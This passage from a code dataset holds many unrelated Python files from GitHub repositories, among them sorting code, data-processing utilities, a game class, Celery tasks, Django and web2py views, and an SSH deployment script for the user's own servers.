heapsort(self, arr):\n        n = len(arr)\n        self.build_heap(arr)\n\n        # Swap the root (largest element) with the last element, then max heapify the remaining heap and while\n        # running loop each sorted one will be at the end of array\n        for i in range(n-1, -1, -1):\n            arr[i], arr[0] = arr[0], arr[i]\n            self.max_heapify(arr, i, 0)\n\n        return arr\n\narr = [12, 36, 20, 87, 45, 52, 41, 96, 89]\nprint(\"Heap sort:-\")\nprint(arr)\na = HeapSort()\n\nprint(a.heapsort(arr))","repo_name":"subashkj005/Data_Structure","sub_path":"Week 3/Heap/Heap.py","file_name":"Heap.py","file_ext":"py","file_size_in_byte":5295,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"44311482608","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jul 12 23:37:58 2022\r\n\r\n@author: User\r\n\"\"\"\r\n\r\nfrom statistics import mode\r\nimport pandas as pd\r\nimport numpy as np\r\nimport json\r\nimport time as time\r\nimport matplotlib.pyplot as plt\r\nfrom alphabet_detector import AlphabetDetector\r\n\r\nad = AlphabetDetector()\r\n\r\ndef make_list(string):\r\n    list =[]\r\n    list1 = string.split(\",\")\r\n    for i in range(len(list1)):\r\n        list1[i] = list1[i].strip()\r\n   # list2 = string.split()\r\n\r\n    list.append(string)\r\n    if len(list1)>1:\r\n        list = list +list1\r\n  #  if len(list2)>1:\r\n  #      list = list +list2 \r\n        \r\n\r\n        \r\n    return list\r\n\r\ndef make_list_space(string):\r\n    list =[]\r\n    list1 = string.split(\" \")\r\n    for i in range(len(list1)):\r\n        list1[i] = list1[i].strip()\r\n   # list2 = string.split()\r\n\r\n    list.append(string)\r\n    if len(list1)>1:\r\n        list = list +list1\r\n  #  if len(list2)>1:\r\n  #      list = list +list2 \r\n        \r\n\r\n        \r\n    return list\r\n\r\n\r\ndef dict_load(path):\r\n    a_file = open(\"{0}.json\".format(path), \"r\")\r\n\r\n    dict_ = json.load(a_file)\r\n\r\n    a_file.close()\r\n    return  dict_\r\n\r\n\r\n\r\n            \r\ndef search_dict_lower(string,country_dict_l,OG_names_dict_l,alt_name_dict_l,country_codes_l):\r\n    search_results= []\r\n\r\n    \r\n    #check if the string has no \"alphabetical charachter\"\r\n    temp_bol = False\r\n    for i in range (len(string)):\r\n        temp_bol = temp_bol + string[i].isalpha()\r\n        \r\n    if np.logical_not(temp_bol):\r\n        search_results.append(\"Error\")\r\n        return search_results[-1]\r\n            \r\n            \r\n    DICTS = [country_dict_l,OG_names_dict_l,alt_name_dict_l]\r\n    \r\n    string_list =  make_list(string) #separated by ,\r\n    string_list_space =  make_list_space(string) #separated by \" \"\r\n\r\n    for i in range (len(string_list)): #go through the list seperated by \",\"\r\n        for j in range (len(DICTS)):\r\n            try: \r\n                temp = DICTS[j][\"{0}\".format(string_list[i]).lower()]\r\n                search_results.append(temp)\r\n            except:\r\n                continue\r\n     \r\n            \r\n    if len(search_results) ==0:\r\n\r\n        \r\n        for i in range (len(string_list_space)): #go through the list seperated by \" \"\r\n            for j in range (len(DICTS)):\r\n                try: \r\n                    temp = DICTS[j][\"{0}\".format(string_list_space[i]).lower()]\r\n                    search_results.append(temp)\r\n                except:\r\n                    continue\r\n                \r\n                \r\n    if len(search_results) ==0:\r\n    \r\n        for i in range (len(string_list)): #Check wether the string contains the alpha 2 code or not\r\n                try: \r\n                    temp = country_codes_l[string_list[i].upper()]\r\n                    search_results.append(string_list[i].upper())\r\n                    print(\"test\",string_list[i])\r\n\r\n                except:\r\n                    continue\r\n           \r\n        for i in range (len(string_list_space)): #Check wether the string contains the alpha 2 code or not\r\n                try: \r\n                    temp = country_codes_l[string_list_space[i].upper()]\r\n                    search_results.append(string_list_space[i].upper())\r\n                    print(\"test\",string_list_space[i])\r\n                except:\r\n                    continue             \r\n            \r\n            \r\n    if len(search_results) ==0: #see whether it has cyrillic or cjk charachters\r\n        for i in range (len(string_list)):\r\n                if ad.is_cyrillic(u\"{0}\".format(string_list[i]).lower()):\r\n                    search_results.append(\"RU\")\r\n                if ad.is_cjk(u\"{0}\".format(string_list[i]).lower()):\r\n                    search_results.append(\"JP\")\r\n    \r\n\r\n            \r\n    if len(search_results) ==0: #if didnt find anything else\r\n\r\n        search_results.append(\"Error\")\r\n        \r\n            \r\n    return search_results[-1]\r\n                \r\n\r\nstring = \"New York\"\r\n\r\n\r\n#load dictionaries\r\ncountry_dict =dict_load(\"Country_Names_dict\")\r\n\r\nOG_names_dict =dict_load(\"Original_Names_dict\")\r\n\r\nalt_name_dict = dict_load(\"Alternative_Names_exp\")\r\n\r\n\r\n#Case Insensitive\r\ncountry_dict_l = {k.lower(): v for k, v in country_dict.items()}\r\nOG_names_dict_l = {k.lower(): v for k, v in OG_names_dict.items()}\r\nalt_name_dict_l = {k.lower(): v for k, v in alt_name_dict.items()}\r\n\r\n#Alpha-2 code of countries\r\ncountry_codes_l = {v: k for k, v in country_dict_l.items()}\r\n\r\n\r\nCountry_Code = search_dict_lower(string,country_dict_l,OG_names_dict_l,alt_name_dict_l,country_codes_l)\r\n\r\nprint(Country_Code)","repo_name":"Danial-Vahabli/Twitter_Location_to_Country_Code","sub_path":"Location_Finder_Dict_Function.py","file_name":"Location_Finder_Dict_Function.py","file_ext":"py","file_size_in_byte":4588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6181897378","text":"#!/usr/bin/env python3\n\nimport sys\nimport io\nimport re\n\ninput_stream = io.TextIOWrapper(sys.stdin.buffer, encoding='utf-8')\n\nstop_words = set()\n\nfor line in sys.stdin:\n    try:\n        article_id, text = line.strip().split('\\t', 1)\n    except ValueError as e:\n        continue\n    text = re.sub(r'[^A-Za-z\\\\s\\s]','',text).lower()        \n    words = set(re.split(\"\\W*\\s+\\W*\", text, flags=re.UNICODE))\n\n    for word in words:\n        print(word, 1, sep='\\t')\n\n\n\n\n\n","repo_name":"Anastassiya08/BigData_course","sub_path":"HW/hw2/112/mapper.py","file_name":"mapper.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"39272555954","text":"from cx_Freeze import setup, Executable\nimport os\n\nPYTHON_INSTALL_DIR = os.path.dirname(os.path.dirname(os.__file__))\nos.environ['TCL_LIBRARY'] = os.path.join(PYTHON_INSTALL_DIR, 'tcl', 'tcl8.6')\nos.environ['TK_LIBRARY'] = os.path.join(PYTHON_INSTALL_DIR, 'tcl', 'tk8.6')\n\n# On appelle la fonction setup\n\nbuildOptions = dict(\n    packages = [],\n    excludes = [],\n    include_files=[os.path.join(PYTHON_INSTALL_DIR, 'DLLs') +'/tcl86t.dll', os.path.join(PYTHON_INSTALL_DIR, 'DLLs') + '/tk86t.dll']\n)\n\nsetup(\n    name = \"salut\",\n    version = \"0.1\",\n    description = \"Ce programme vous dit bonjour\",\n    options = dict(build_exe = buildOptions),\n    executables = [Executable(\"main.py\")],\n)\n","repo_name":"darckoune/fm_assistant","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"38305603080","text":"import json\nimport requests\n\ndef movie(moviename):\n    key = '6c03f71a8d18d6a277d47cba0d7c2eb6'\n    api = 'http://v.juhe.cn/movie/index'\n    params = 'title=%s&smode=0&key=%s&' % (moviename, key)\n    url = api + '?' + params\n    response = requests.get(url=url)\n    json_data = json.loads(response.text)\n    result = json_data.get('result')\n    response = []\n    for mov in result:\n        movie = {}\n        movie['rating'] = mov.get('rating')\n        movie['genres'] = mov.get('genres')\n        movie['title'] = mov.get('title')\n        movie['actors'] = mov.get('actors')\n        movie['simple_plot'] = mov.get('plot_simple')\n        movie['year'] = movie.get('year')\n        response.append(movie)\n    return response\n","repo_name":"ruan1998/djtest","sub_path":"thirdparty/juhe.py","file_name":"juhe.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19594995955","text":"import numpy as np\r\nfrom itertools import permutations\r\n\r\ng = np.array([[7, 5, 8], [3, 13, 9], [5, 8, 2]])\r\nt = 20\r\n\r\nfor p in permutations(g.flatten()):\r\n    g_ = np.array(p).reshape(g.shape)\r\n    if (g_.sum(axis=0) == t).all():\r\n        print('\\n'.join(['\\t'.join(map(str, r)) for r in g_.tolist()]))\r\n        break\r\n","repo_name":"datheia/segmentle-solver","sub_path":"segmentle_solver.py","file_name":"segmentle_solver.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"40396440554","text":"import pandas as pd\nimport statsmodels.api as sm\nimport numpy as np\nfrom loguru import logger\n\n\nclass MomentumUtils:\n    @staticmethod\n    def return_Nm(data: pd.DataFrame, n: int = 6, col_name='close') -> pd.Series:\n        return data[col_name] / data[col_name].shift(n * 22) - 1\n\n    @staticmethod\n    def wgt_return_Nm(data: pd.DataFrame, n: int = 6, change_per_col_name='change_percentage',\n                      turnover_rate_col_name='turnover_rate') -> pd.Series:\n        data['product'] = data[change_per_col_name] * data[turnover_rate_col_name]\n        data['wgt_return_nm'] = data['product'].rolling(window=n * 22).mean()\n        return data['wgt_return_nm']\n\n    @staticmethod\n    def exp_wgt_return_Nm(data: pd.DataFrame, n: int = 6) -> pd.Series:\n        pass\n\n    @staticmethod\n    def HAlpha(data: pd.DataFrame, n=60, stock_return_col_name='change', bench_return_col_name='bench_change') -> float:\n        X = data.tail(n)[stock_return_col_name]\n        X = sm.add_constant(X)\n        y = data.tail(n)[bench_return_col_name]\n        model = sm.OLS(y, X).fit()\n        halpha = model.params['const']\n        return halpha\n\n    @staticmethod\n    def add_ret_Nd(data: pd.DataFrame, n: int = 22, close_col: str = 'close') -> pd.DataFrame:\n        data[f'ret_{n}d'] = (data['close'] / data['close'].shift(n) - 1) * 100\n        return data\n\n    @staticmethod\n    def add_ret_Nds(data: pd.DataFrame, ns: [int] = None, close_col: str = 'close') -> pd.DataFrame:\n        for n in ns:\n            data = MomentumUtils.add_ret_Nd(data, n, close_col)\n        return data\n\n    @staticmethod\n    def add_wgt_ret_Nd(data: pd.DataFrame, n: int = 22, daily_ret_col: str = 'ret_1d',\n                       wgt_col: str = 'weight') -> pd.DataFrame:\n        data[f'wgt_ret_{n}d'] = (\n                (data[daily_ret_col] * data[wgt_col]).rolling(window=n).sum() /\n                data[wgt_col].rolling(window=n).sum()\n        )\n        return data\n\n    @staticmethod\n    def add_wgt_ret_Nds(data: pd.DataFrame, ns: [int] = None, daily_ret_col: str = 'ret_1d',\n                        wgt_col: str = 'weight') -> pd.DataFrame:\n        for n in ns:\n            data = MomentumUtils.add_wgt_ret_Nd(data, n, daily_ret_col, wgt_col)\n        return data\n\n    @staticmethod\n    def add_exp_wgt_ret_Nd(data: pd.DataFrame, n: int = 22, daily_ret_col: str = 'ret_1d',\n                           wgt_col: str = 'weight') -> pd.DataFrame:\n        d = np.ceil(n / 22) * 4\n        time_weights = np.array([np.exp(-x / d) for x in range(n)])\n\n        def exp_wgt_rolling_sum(series):\n            return sum(series * time_weights)\n\n        data[f'exp_wgt_ret_{n}d'] = np.array([\n            np.nan if i < n - 1 else\n            (np.sum(data[daily_ret_col].iloc[i - n + 1:i + 1].values\n                    * data[wgt_col].iloc[i - n + 1:i + 1].values\n                    * time_weights)) /\n            (np.sum(data[wgt_col].iloc[i - n + 1:i + 1].values\n                    * time_weights))\n            for i in range(len(data))\n        ])\n        return data\n\n    @staticmethod\n    def add_exp_wgt_ret_Nds(data: pd.DataFrame, ns: [int] = None, daily_ret_col: str = 'ret_1d',\n                            wgt_col: str = 'weight') -> pd.DataFrame:\n        for n in ns:\n            data = MomentumUtils.add_exp_wgt_ret_Nd(data, n, daily_ret_col, wgt_col)\n        return data\n","repo_name":"openhe-hub/open-quant-data","sub_path":"open_quant_data/stat/MomentumUtils.py","file_name":"MomentumUtils.py","file_ext":"py","file_size_in_byte":3350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35400797","text":"import math\n\nfrom objects.lazer import Lazer\nfrom objects.object import Object\n\n\n\nclass PlayerShip(Object):\n    RADIUS = 40\n    SPEED = 20\n    DIAGONAL_SPEED = SPEED * math.sqrt(0.5)\n    LIVES = 3\n    INVULNERABILITY_FRAMES = 120\n    COOLDOWN = 5\n\n    def __init__(self, id, point):\n        self.id = id\n        self.lives = PlayerShip.LIVES\n        self.invulnerability_frames_left = 0\n        self.cooldown = 0\n        super().__init__(point, PlayerShip.RADIUS)\n\n    def move_in_direction(self, x_mul, y_mul):\n        if abs(x_mul) + abs(y_mul) == 0:\n            return\n        elif abs(x_mul) + abs(y_mul) == 1:\n            self.move(PlayerShip.SPEED * x_mul, PlayerShip.SPEED * y_mul)\n        else:\n            self.move(PlayerShip.DIAGONAL_SPEED * x_mul, PlayerShip.DIAGONAL_SPEED * y_mul)\n\n    def update(self):\n        from server.engine import Engine\n        self.point.y += Engine.CURRENT_SPEED\n        if self.invulnerability_frames_left > 0:\n            self.invulnerability_frames_left -= 1\n        if self.cooldown > 0:\n            self.cooldown -= 1\n\n    def hit(self):\n        self.lives -= 1\n        if self.lives == 0:\n            super().hit()\n        else:\n            self.invulnerability_frames_left = PlayerShip.INVULNERABILITY_FRAMES\n\n    def fire(self):\n        if self.cooldown == 0:\n            self.cooldown = PlayerShip.COOLDOWN\n            return Lazer(self, True, 20, self.id)\n","repo_name":"tudorvaran/university","sub_path":"vgd/objects/player_ship.py","file_name":"player_ship.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"9146304455","text":"from mushroom_rl.algorithms.agent import Agent\nfrom mushroom_rl.environments import Atari\nimport time\nfrom utils_rl import GymRenderer, make_deterministic, extract_game_name\nfrom parsers import rendering_parser as parser\nfrom collections import namedtuple\nimport json\nfrom utils import load_agent\n\ndef run_exp(agent, env, args):\n    if args.no_display:\n        renderer = None\n    else:\n        if args.record and args.video_title is None:\n            args.video_title = args.agent_path.split(\"/\")[-1].replace(\".zip\", \"\")\n        renderer = GymRenderer(env, record=args.record, title=args.video_title)\n\n    for i in range(1): # only 1 life\n        total_r = 0\n        state = env.reset()\n        n_steps = 0\n        while True:\n            action = agent.draw_action(state)\n            state, reward, done, _ = env.step(action)\n            total_r += reward\n            n_steps += 1\n            if renderer is not None:\n                renderer.render()\n                time.sleep(0.01)\n            if done:\n                print(\"Done\")\n                break\n        print(\"Total reward: \" + str(total_r))\n    if renderer is not None:\n        renderer.close_recorder()\n\n\nif __name__ == '__main__':\n    args = parser.parse_args()\n\n    game_name = extract_game_name(args.agent_path)\n    with open(f'configs/{game_name}_config.json', 'r') as f:\n        data = f'{json.load(f)}'.replace(\"'\", '\"')\n        config = json.loads(data, object_hook=lambda d: namedtuple('X', d.keys())(*d.values()))\n\n    env = Atari(config.game_name, config.width, config.height, ends_at_life=True,\n                history_length=config.history_length, max_no_op_actions=30)\n    make_deterministic(args.seed, env)\n\n\n    # agent_f = f\"{arguments.algo}_{arguments.act_f}_{arguments.game}_s{arguments.seed}_e{arguments.epoch}.zip\"\n    print(f\"Using agent from {args.agent_path}\")\n    agent = load_agent(args.agent_path)\n\n    run_exp(agent, env, args)\n","repo_name":"k4ntz/MOC","sub_path":"render_agent.py","file_name":"render_agent.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"22762745426","text":"import random\nimport time\n\nfrom celery import shared_task\nfrom django.contrib.auth import get_user_model\nfrom faker import Faker\n\nfrom accounts.models import ForumUser\nfrom music.models import ForumCategory, ForumComment\n\n\n@shared_task\ndef mine_bitcoin():\n    time.sleep(random.randint(1, 10))\n\n\n@shared_task\ndef normalize_email_task(filter):\n    query_set = ForumUser.objects.filter(**filter)\n    if query_set:\n        for user in query_set:\n            print(\"working with user: {user.email}\")\n            user.save()\n    else:\n        print(\"Empty data\")\n\n\nfake = Faker()\n\n\n@shared_task\ndef fake_data(number):\n    for i in range(0, number):\n        fake_name = fake.name()\n        fake_desc = fake.sentence(nb_words=70)\n        cat_item = ForumCategory.objects.get_or_create(name=fake_name, description=fake_desc)\n        cat_item.save()\n\n    for i in range(0, number):\n        fake_first_name = fake.first_name()\n        fake_last_name = fake.last_name()\n        fake_email = fake.email()\n        user_item = ForumUser.objects.get_or_create(\n            email=fake_email, first_name=fake_first_name, last_name=fake_last_name\n        )\n        user_item.set_password(\"12345\")\n        user_item.save()\n\n    for i in range(0, number):\n        fake_uuid = fake.UUID.v4()\n        fake_desc = fake.sentence(nb_words=70)\n        comments_item = ForumComment.objects.get_or_create(author=get_user_model(), messages=fake_uuid, text=fake_desc)\n        comments_item.save()\n","repo_name":"LeroyGorn/musician_hub","sub_path":"src/music/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19158409049","text":"import logging\nfrom src.components import Splitter, Joiner\n\nlogger = logging.getLogger('root')\n\n\nclass MetricPipeline:\n    def __init__(self,\n                 metric_app_pipeline,\n                 app_ids,\n                 config,\n                 AidServiceConnection=None):\n        \"\"\"\n        Responsible for processing the data for one metric.\n\n        Depending on the Metric, different class inheriting from this one\n        should be created. Only thing changed should be the components\n        for processing values changed. Overwrite methods _setup_models\n        and _setup_decisionmakers with logic pertaining to the metric.\n\n        The following is replicated for each appID for given metric:\n\n                    /- AppPipelineMetric ------i\n                   /                            I\n        Splitter ---    AppPipelineMetric        ----- Joiner\n                  I                            /\n                  I___ AppPipelineMetric_____/\n        \"\"\"\n        self._AidServiceConnection = AidServiceConnection\n        self._entrypoint = Splitter(process=lambda values: values)\n        self._metric = metric_app_pipeline.metric\n        self._metric_pipeline = {\n            appID: metric_app_pipeline(config, appID, AidServiceConnection)\n            for appID in app_ids\n        }\n        self._exitpoint = Joiner(\n            process=lambda values:\n            {appID: values[appID] for appID in app_ids}\n        )\n        self.link_metric_pipeline(app_ids)\n        self.input = self._entrypoint.input\n        self.output = self._exitpoint.output\n\n    def link_metric_pipeline(self, app_ids):\n        for appID in app_ids:\n            self._entrypoint.get_output(appID).connect(\n                self._metric_pipeline[appID].input)\n            self._metric_pipeline[appID].output.connect(\n                self._exitpoint.get_input(appID))\n\n    @property\n    def metric(self):\n        return self._metric\n\n    @property\n    def metric_pipeline(self):\n        self._metric_pipeline\n\n    def __repr__(self):\n        \"\"\"Use repr(self) for DEBUG, ERROR, CRITICAL logging levels.\"\"\"\n        return 'MetricPipeline {} - BaseClass: '.format(self.metric)\n\n    def __str__(self):\n        \"\"\"Use str(self) for INFO, WARNING logging levels.\"\"\"\n        return 'MetricPipeline {}: '.format(self.metric)\n","repo_name":"navid-data-analytics/Navid-ai-project-team-work","sub_path":"src/pipeline/MetricPipeline.py","file_name":"MetricPipeline.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"8458549463","text":"# -*- coding: utf-8 -*-\nimport utils\n\ndef index(): return dict(message=\"hello from opforms.py\")\n\n\n\n# Smart Grid for operattions documents/forms\n\n# @auth.requires_membership('admin')\n@auth.requires_login()\ndef grid():\n\n    # import json\n\n    branch_ids = []\n    row = db(db.org_access.auth_user_id == auth.user_id ).select().first()\n    if row:\n        if row['pos_id'] is not None: db.point_of_sale._common_filter = lambda q: db.point_of_sale.id == row['pos_id']\n        else: \n            if row['branch_id'] > -1: db.point_of_sale._common_filter = lambda q: db.point_of_sale.branch_id == row['branch_id']\n            else: \n                if row['region_id'] > -1: \n                    for i in db(db.branch.region_id == r['region_id']):\n                        branch_ids.append(i) \n                    db.point_of_sale._common_filter = lambda q: db.point_of_sale.branch_id in branch_ids\n    last_nos = {}\n    for r in db(db.point_of_sale).select():\n        last_nos[r.id] = db(db.AAP.pos_id == r.id).select(db.AAP.doc_number.max().with_alias('max_no')).first()['max_no']\n        last_nos[r.id] = utils.NextSequence(last_nos[r.id])\n\n    title = request.vars['title']\n    action = ''\n    \n    if any(x in request.args for x in ['new', 'edit']):\n        response.view = 'opforms/edit_AAP.html'\n        action = request.args(1)\n\n    tablename = request.args(0)\n    if not tablename in db.tables: raise HTTP(403)\n    grid = SQLFORM.grid(db[tablename], args=[tablename], deletable=False, editable=True, searchable=dict(parent=True, child=True))\n    return dict(grid=grid, title=title, action=action, last_nos=last_nos)\n","repo_name":"jeffplata/nfabsm","sub_path":"controllers/opforms.py","file_name":"opforms.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21823806303","text":"from rest_framework import permissions\nfrom dashboard.models import Course, Learner, CourseLearner\n\nclass OwnerOrEnrolledRead(permissions.BasePermission):\n\n    def has_permission(self, request, view):\n        course_id = view.kwargs.get('course_pk')\n\n        course = Course.objects.filter(id=course_id)\n        if not course:\n            return False\n        if course[0].owner == request.user:\n            return True\n\n\n        if request.method in permissions.SAFE_METHODS:\n            self.message = 'You are not registered in this Course.'\n\n            learner = Learner.objects.filter(user = request.user)\n            if not learner:\n                return False\n\n            return CourseLearner.objects.filter(course=course_id, learner=learner[0]).exists()\n        else:\n            self.message = 'You don\\'t have the permisstion to do this operation in this classroom.'\n            return False","repo_name":"Abdelrahman-Farah/elms-backend","sub_path":"quiz_base/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21129565816","text":"\"\"\"\n    新增model2，用于求最小距离和\n    2019.5.29 by EE526\n    可以当做一种新的聚类算法\n\"\"\"\nfrom model import Situation, Model, Model2\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import linear_sum_assignment\n\n\ndef max_assign(plane_list, target_list, superiority):\n    \"\"\"\n    求最大收益\n    :param plane_list: 飞机序列\n    :param target_list: 目标序列\n    :param superiority: 广义矩阵\n    :return: 最优方案和最优值\n    \"\"\"\n    max_val = np.max(superiority)\n    cost = max_val - superiority\n    (row_ind, col_ind) = linear_sum_assignment(cost)\n    best_row = []\n    for i in row_ind:\n        best_row.append(plane_list[i])\n    best_col = []\n    for i in col_ind:\n        best_col.append(target_list[i])\n    best_val = superiority[row_ind, col_ind].sum()\n    best_plan = np.asarray([best_row, best_col])\n    return best_plan, best_val\n\n\n\ndef min_assign(plane_list, target_list, superiority):\n    \"\"\"\n    求最小距离和\n    :param plane_list: 飞机序列\n    :param target_list: 目标序列\n    :param superiority: 广义矩阵\n    :return: 最优方案和最优值\n    \"\"\"\n    cost = superiority\n    (row_ind, col_ind) = linear_sum_assignment(cost)\n    best_row = []\n    for i in row_ind:\n        best_row.append(plane_list[i])\n    best_col = []\n    for i in col_ind:\n        best_col.append(target_list[i])\n    best_val = superiority[row_ind, col_ind].sum()\n    best_plan = np.asarray([best_row, best_col])\n    return best_plan, best_val\n\n\nif __name__ == \"__main__\":\n    num_plane = 4\n    num_target = 40\n    # 随机生成态势信息\n    pm = np.random.random([num_plane, 2])*500.0\n    pm[:, 1] = 0\n    am = np.linspace(30, 120, num_plane)\n    vm = np.random.randint(1, 3, [num_plane]) * 0.3\n    m_num = np.random.randint(10, 12, [num_plane])\n    #print(\"导弹数量\", m_num)\n    pn = np.random.random([num_target, 2])*500.0+100\n    pn[1:4, 1] = 600.0\n    an = np.linspace(70, 200, num_target)\n    vn = np.random.randint(1, 2, [num_target]) * 0.1\n    priority = np.random.randint(1, 2, [num_target], dtype=int)\n    #print(\"priority\", priority)\n\t\n    situ = Situation(pm, am, vm, m_num, pn, an, vn, priority)  # 模型初始化，类封装\n    m = Model2()   # 选取模型2，求最短距离，注意在下面要调用min_assign\n    (plane_list, target_list, superiority) = m.get_matrix(situ)\n    print(plane_list)\n    print(target_list)\n    #print(superiority)\n\n    (best_plan, best_val) = min_assign(plane_list, target_list, superiority)\n    print(\"方案\")\n    print(best_plan)\n    print(best_val)\n    \"\"\"\n    画图\n    \"\"\"\n    #print(\"飞机位置\", pm)\n    plt.rcParams['font.sans-serif'] = ['SimHei']\n    plt.rcParams['axes.unicode_minus'] = False\n    plt.scatter(pm[:, 0], pm[:, 1], color='r', label='无人机位置')\n    plt.scatter(pn[:, 0], pn[:, 1], color='g', label='目标位置')\n    plt.legend(loc='upper right')\n    plt.quiver(pm[:, 0], pm[:, 1], np.cos(am/360*2*np.pi), np.sin(am/360*2*math.pi))\n    plt.quiver(pn[:, 0], pn[:, 1], np.cos(an/360*2*math.pi), np.sin(an/360*2*math.pi))\n    for i in range(best_plan.shape[1]):\n        plt.plot([pm[best_plan[0, i], 0], pn[best_plan[1, i], 0]],\n                 [pm[best_plan[0, i], 1], pn[best_plan[1, i], 1]], color='y')\n    plt.show()\n\n\n\n\n\n","repo_name":"Sherhang/MyStudy","sub_path":"Python/匈牙利算法/求最短距离/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3303,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"36683573434","text":"import json\nimport os\nimport io\nimport paramiko\nimport concurrent.futures\n\ndef threaded(func):\n    def wrapper(*args, **kwargs):\n        with concurrent.futures.ThreadPoolExecutor() as executor:\n            try:\n                result = executor.submit(func, *args, **kwargs)\n            except Exception as e:\n                print(f\"Exception occurred in 'executor.submit' on '@threaded' decorator: {e}\")\n        return result\n    return wrapper\n\n@threaded\ndef deploy(vps_info, username, command, ssh_key):\n    try:\n        ssh_client = paramiko.SSHClient()\n        ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\n        if ssh_key:\n            pkey = paramiko.RSAKey.from_private_key(io.StringIO(ssh_key))\n            try:\n                ssh_client.connect(vps_info['address'], port=vps_info['port'], pkey=pkey, username=username, timeout=5)\n            except Exception as e:\n                print(f\"SSH error by KEY auth: {e.message}\")\n\n        else:\n            try:\n                ssh_client.connect(vps_info['address'], port=vps_info['port'], password=vps_info['pwd'], username=username, timeout=5)\n            except Exception as e:\n                print(f\"SSH error by PASSWORD auth: {e.message}\")\n\n    except Exception as e:\n        print(e.message)\n\n    stdin, stdout, stderr = ssh_client.exec_command(command)\n    for line in stdout:\n        print(line)\n        \n        \nif __name__ == '__main__':\n\n    vps_list_file = os.environ[\"VPS_LIST_FILE\"]\n    deploy_command_file = os.environ[\"DEPLOY_COMMAND\"]\n    ssh_key = os.environ[\"SSH_KEY\"]\n    username = os.environ[\"USERNAME\"]\n    \n\n    try:\n        with open(vps_list_file, 'r') as f:\n            vps_list = json.load(f)\n    except:\n        print(f\"Error reading VPS list file: {vps_list_file}\")\n\n    try:\n        if os.path.isfile(deploy_command_file):\n            with open(deploy_command_file, 'r') as f:\n                deploy_command = f.read()\n    except:\n        print(\"Error reading deploy commands\")\n\n    with concurrent.futures.ThreadPoolExecutor() as executor:\n        try:\n            future_list = [(executor.submit(deploy, vps_info, username, deploy_command, ssh_key), vps_info, id) for id, vps_info in enumerate(vps_list)]\n        except Exception as e:\n            print(f\"Exception occurred in 'future_list' list comprehension: {e}\")\n    \n    for future, vps_info, id in future_list:\n        try:\n            result = future.result()\n\n        except Exception as e:\n            # Captura qualquer exceção lançada pela função deploy\n            print(f\"[!] Error on thread id: {id}, VPS: {vps_info['address']}:{vps_info['port']}, Erro: {e}\")\n        \n        if not result.exception():\n            print(f\"[OK] Command execution on VPS: {vps_info['address']}:{vps_info['port']}, Thread id: {id}, {result}\")\n        else:\n            print(f\"[!] Erro on VPS: {vps_info['address']}:{vps_info['port']}, Thread id: {id}, {result}\")\n","repo_name":"usrbinbrain/sshugger","sub_path":"entrypoint.py","file_name":"entrypoint.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"3201708253","text":"import tensorflow as tf\r\nimport cv2 as cv\r\nimport os\r\nimport numpy as np\r\n\r\n\r\nIMAGE_HIGTH = 54\r\nIMAGE_WIDTH = 96\r\nIMAGE_CHANNELS = 3\r\n\r\nBATCH_SIZE = 10\r\n\r\n# train_data\\\r\n#            cartoon\\\r\n#                    1.jpg\r\n#                    2.jpg\r\n#                      .\r\n#                      .\r\n#             real\\\r\n#                    1.jpg\r\n#                    2.jpg\r\n#                      .\r\n#                      .\r\n\r\n\r\ndef get_path(path):\r\n    path_list = []\r\n    name_list = os.listdir(path)\r\n    for name in name_list:\r\n        path_list.append(path+'\\\\'+name)\r\n    return name_list, path_list\r\n\r\n\r\n# 生成整数型属性（图像标签）\r\ndef _int64_feature(value):\r\n    return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\r\n\r\n\r\n# 生成字符串型属性（图像矩阵数据）\r\ndef _bytes_feature(value):\r\n    return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\r\n\r\n\r\n# 生成 tfrecord 模型\r\ndef generate_tfrecords(path, tf_path):\r\n    recordfilenum = 0\r\n    bestnum = 1000  # 每个 tfrecord 存放图片的个数\r\n    best_counter = 0  # 第几个图片\r\n    tfrecord_p = tf_path + '\\\\' + ('train.tfrecord-%.2d' % recordfilenum)\r\n    tfrecord_writer = tf.python_io.TFRecordWriter(tfrecord_p)\r\n    class_name, class_path = get_path(path)\r\n\r\n    for index, class_label in enumerate(class_name):\r\n        img_name, img_path = 